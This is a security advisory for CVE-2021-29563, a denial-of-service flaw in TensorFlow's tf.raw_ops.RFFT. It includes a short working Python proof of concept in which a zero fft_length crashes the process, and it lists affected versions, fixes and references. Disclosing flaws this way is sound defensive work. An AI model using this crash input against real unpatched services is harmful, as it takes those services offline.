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  5. CVE-2021-29563

CVE-2021-29563: CHECK-fail in `tf.raw_ops.RFFT`

May 21, 2021 (updated November 1, 2024)

An attacker can cause a denial of service by exploiting a CHECK-failure coming from the implementation of tf.raw_ops.RFFT:

import tensorflow as tf

inputs = tf.constant([1], shape=[1], dtype=tf.float32)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)

tf.raw_ops.RFFT(input=inputs, fft_length=fft_length)

The above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.

References

  • github.com/advisories/GHSA-ph87-fvjr-v33w
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-491.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-689.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-200.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/31bd5026304677faa8a0b77602c6154171b9aec1
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-ph87-fvjr-v33w
  • nvd.nist.gov/vuln/detail/CVE-2021-29563

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-617: Reachable Assertion

Source file

pypi/tensorflow-gpu/CVE-2021-29563.yml

Spotted a mistake? Edit the file on GitLab.

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